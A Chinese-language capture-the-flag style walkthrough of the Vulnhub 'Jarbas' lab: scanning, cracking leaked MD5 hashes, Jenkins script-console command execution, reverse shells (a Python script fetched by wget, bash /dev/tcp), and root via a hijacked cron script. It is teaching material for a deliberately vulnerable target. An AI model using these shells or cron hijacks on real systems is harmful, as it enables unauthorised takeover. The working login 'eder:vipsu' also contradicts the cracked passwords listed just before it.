VULNHUB ----JARBAS
字数 1003 2025-08-10 19:49:11
Jarbas靶场渗透测试教学文档
靶场概述
Jarbas是一个来自Vulnhub的渗透测试练习靶场,包含多个漏洞点,适合练习从信息收集到提权的完整渗透流程。
信息收集阶段
网络扫描
使用Nmap进行网络扫描的基本命令:
# 主机发现
sudo nmap 192.168.239.0/24
# 全端口扫描
sudo nmap --min-rate 10000 -p- 192.168.239.136 -oA nmap_ports
# TCP服务版本扫描
sudo nmap -sT -sV -O -p22,80,3306,8080 192.168.239.136 -oA nmap_tcp
# UDP扫描
sudo nmap -sU -p22,80,3306,8080 192.168.239.136 -oA nmap_udp
# 漏洞脚本扫描
sudo nmap --script=vuln -p22,80,3306,8080 192.168.239.136 -oA nmap_script
扫描结果分析
发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
- 3306端口:MySQL数据库
- 8080端口:HTTP服务(Jenkins)
渗透优先级:80端口=8080端口 > 3306端口 > 22端口
Web渗透阶段
80端口分析
访问http://192.168.239.136:80,发现使用Jarbas框架,可搜索相关漏洞。
8080端口分析
访问http://192.168.239.136:8080,发现Jenkins后台登录界面。
检查robots.txt未发现有用信息。
目录爆破
使用工具进行目录爆破:
# 使用dirb
sudo dirb http://192.168.239.136
# 使用gobuster(更全面)
sudo gobuster dir -u http://192.168.239.136 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -o gobuster -x html,php
发现有用页面:
- /index.html
- /access.html
在access.html页面发现三个用户凭据(MD5哈希):
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98
密码破解
识别哈希类型为MD5,解密后得到:
- tiago:italia99
- trindade:vipsu
- eder:marianna
测试发现使用eder:vipsu可以成功登录Jenkins后台。
获取Shell
方法1:Jenkins脚本控制台
访问http://192.168.239.136:8080/script,执行系统命令:
// 执行系统命令
println "ls -al".execute().text
// 写入webshell
new File("路径").write('')
方法2:反弹Shell
- 创建Python反弹脚本(1.py):
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",1111))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
- 在攻击机启动HTTP服务:
python3 -m http.server 80
- 通过Jenkins下载并执行:
// 下载脚本
println "wget http://攻击机IP/1.py -P /tmp/".execute().text
// 执行脚本
println "python3 /tmp/1.py".execute().text
- 攻击机监听:
sudo nc -lvnp 1111
方法3:直接反弹Shell
println "/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1".execute().text
攻击机监听:
sudo nc -lvnp 4444
权限提升
检查定时任务
whoami
sudo -l
cat /etc/crontab
发现每5分钟执行一次/etc/script/CleaningScript.sh。
利用定时任务提权
- 查看脚本内容:
cat /etc/script/CleaningScript.sh
# 原内容:rm -rf /var/log/httpd/access_log.txt
- 修改脚本添加反弹Shell:
echo "/bin/bash -i >& /dev/tcp/攻击机IP/2222 0>&1" >> /etc/script/CleaningScript.sh
- 攻击机监听新端口:
sudo nc -lvnp 2222
- 等待定时任务执行(最多5分钟),获得root权限shell。
获取Flag
cat flag.txt
总结
本靶场渗透流程:
- 信息收集:Nmap扫描发现开放服务
- Web渗透:目录爆破发现凭据,破解后登录Jenkins
- 获取Shell:通过Jenkins脚本控制台执行系统命令
- 权限提升:利用定时任务获取root权限
- 获取Flag
关键点:
- 全面的信息收集是基础
- 密码哈希识别与破解
- Jenkins的多种利用方式
- 定时任务提权技术